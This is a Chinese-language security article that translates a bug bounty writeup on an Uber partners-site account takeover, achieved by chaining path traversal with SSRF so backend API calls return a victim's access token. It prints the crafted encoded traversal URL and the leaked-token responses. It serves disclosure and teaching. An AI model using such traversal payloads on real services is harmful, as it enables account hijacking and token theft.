Uber服務端響應中的API調用缺陷導致的賬戶劫持
clouds? FreeBuf? 今天
今天分享的writeup是香港白帽Ron Chan (@ngalongc)發現的一個關于Uber網站的漏洞,他通過分析Uber的微服務架構和其中的API調用機制,利用其中的服務端響應缺陷,能以SSRF和目錄遍歷(PAth Traversal)方式獲取到服務端為用戶分配的token信息,從而實現對用戶的賬戶劫持。雖然整個漏洞利用構造鏈亮點不多,但“Old but GOLD”,姜還是老的辣,漏洞還是老的好。
Uber微服務架構
微服務英文名稱Microservice,Microservice架構模式就是將整個Web應用組織為一系列小的Web服務。這些小的Web服務可以獨立地編譯及部署,并通過各自暴露的API接口相互通訊。它們彼此相互協作,作為一個整體為用戶提供功能,也可以獨立地進行修改和擴容。
Uber的Web應用服務體系是基于很多微服務架構部署的,由于微服務中會涉及到大量的REST模式,因此,在與各種Uber應用的交互過程中,Uber服務端難免會調用到一些REST API接口。就比如說,你要查看某位司機的狀態信息,Uber后端會涉及到類似如下的REST API接口調用:
https://localhost:1234/partner/PARTNER_UUID/trips?from=2018-01-01&to=2019-01-01
從請求響應中發現端倪
設計理論上來說,顯然,這種調用都是在Web應用后端(Backend)來執行實現的,因為在調用過程中,其內部的微服務架構沒有針對IDOR攻擊的安全檢查權限。所以,矛盾點來了,如果這類API調用都是以預定的path/variables/host方式進行的,而且,這些調用是用戶無法控制的,那么,Web應用后端(Backend)設置的身份驗證措施又有何用呢?
用戶確實不能控制這類API調用嗎?我覺得這里要打個問號。2018年初,我在Uber網站partners.uber.com下發現了一個有意思的路徑(Endpoint),它用來查詢讀取Uber司機的服務狀態,其前端請求鏈接如下:
https://partners.uber.com/p3/money/statements/view/current
該查詢鏈接涉及的請求看不出什么問題,但服務端對其的響應消息中卻存在一些有意思的參數,如下:
{
? "request": {
? ? "uri": {
? ? ? "protocol": "http:",
? ? ? "slashes": true,
? ? ? "auth": null,
? ? ? "host": "127.0.0.1:123",
? ? ? "port": "123",
? ? ? "hostname": "127.0.0.1",
? ? ? "hash": null,
? ? ? "search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
? ? ? "query": "earnings_structure_type=&locale=en&user_id=xxxxx",
? ? ? "pathname": "/v1/partners/xxxxx/statements/current",
? ? ? "path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
? ? ? "href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
? ? },
? "token":"ACCESS_TOKEN_OF_USER",
....
從上述響應消息可看出,涉及該查詢鏈接的后端API GET請求調用如下所示:
http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx
這是一個典型的后端REST API調用。
仔細觀察上述響應消息,可見其中的API調用對current的請求來自于原始前端請求鏈接:https://partners.uber.com/p3/money/statements/view/current,而且還會把current添加到 “pathname”參數的結尾,形成 “/v1/partners/xxxxx/statements/current“ 。另外,調用中還包含其它查詢相關參數,如涉及收入結構類型的earnings_structure_type,以及查詢區域locale=en等。
上述響應消息的有意思之處在于,第一,其中包含了應用用戶的訪問token鍵值對 - “token”:”ACCESS_TOKEN_OF_USER”,這里還曾出現過一個Uber第三方應用的token撤銷漏洞;第二,在查詢請求request中缺乏驗證調用者身份的 X-Auth-Token 頭,但是,在服務端響應消息中竟然還返回了用戶的訪問token!
構造漏洞利用
這樣來看,在請求中,如果我們能以某種方式,通過把我當前賬戶相關的用戶ID數值(user_id或my_user_uuid) 更改為其他用戶對應的用戶ID數值(victim_id或victim_uuid),就可能實現對請求調用的操縱。之后,服務端通過這個其他用戶的用戶ID數值,會響應回來與其對應的賬戶token,那么,有了這個token,我們就能實現對該用戶的賬號劫持了。
基于以上思路,需要找到一個具備以下條件的前端請求路徑(Endpoint):
能從其GET請求中傳遞任意相關參數;
能從其GET請求中傳遞經過編碼轉義的字符,防止一些不必要的字符解析和參數傳遞錯誤,如 %23 或 # 會截斷URL中的參數截斷;
服務端對GET請求能完整響應并可讀。
漏洞實現
最終,經過查找分析,我發現了滿足以上測試條件的一個前端請求路徑(Endpoint):
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa
Uber服務端對這個請求路徑的響應包含了如下的API GET請求調用:
"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_uuid=4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa&user_id=your_user_id"
我覺得其中的uuid - 4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa,是用來在API GET請求調用中傳遞給path和query參數的,所以,我對原始的前端請求路徑(Endpoint)做了如下修改:
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa
“/” 經url編碼后為%2f,哪想到,上述查詢鏈接的請求發起后,服務端響應的消息竟然和修改之前是一樣的!那么,也就間接說明可用 “../”來對目錄路徑進行轉義編碼,還能用它來進行目錄遍歷。接下來,我們可以用 .. / 這種目錄遍歷方式,構造直達服務端根目錄的前端請求鏈接,然后,到達根目錄后,可以構造請求,獲得服務端包含用戶token和API調用的響應,另外,還可以用 # 來截斷一些不必要的請求字段。其實,這就是一種間接的服務端請求偽造(SSRF)結合目錄遍歷(PAth Traversal)的漏洞利用。
預想一下,我們希望在服務端響應中能返回的API GET請求調用如下:
http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid
這樣,我們可以對它進行控制修改的樣式就為:
http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=your_user_id
因此,基于要在服務端響應中獲得以上預想的API GET請求調用,我構造了如下的前端請求鏈接:
https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23
最終,我們執行以上前端請求鏈接后,在服務端響應中,獲得了預想的如下API GET請求調用:
http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#……
因為服務端響應回來的消息包含了當前請求用戶的token,所以,我們只要在上述構造的前端請求鏈接中,修改VICTIM_UUID為其他用戶的的UUID,就能在服務端響應中獲得該用戶的token信息,從而間接實現了對該賬戶的賬號劫持了。
以上即為Ron Chan對于這個漏洞的分享,整個過程就 是SSRF + Path Tranversal = Account Takeover?;赨ber漏洞賞金政策和漏洞的嚴重性來看,該漏洞的獎勵賞金應該不會低于$4,000美金。
*參考來源:Ron Chan,clouds編譯,轉載請注明來自FreeBuf.COM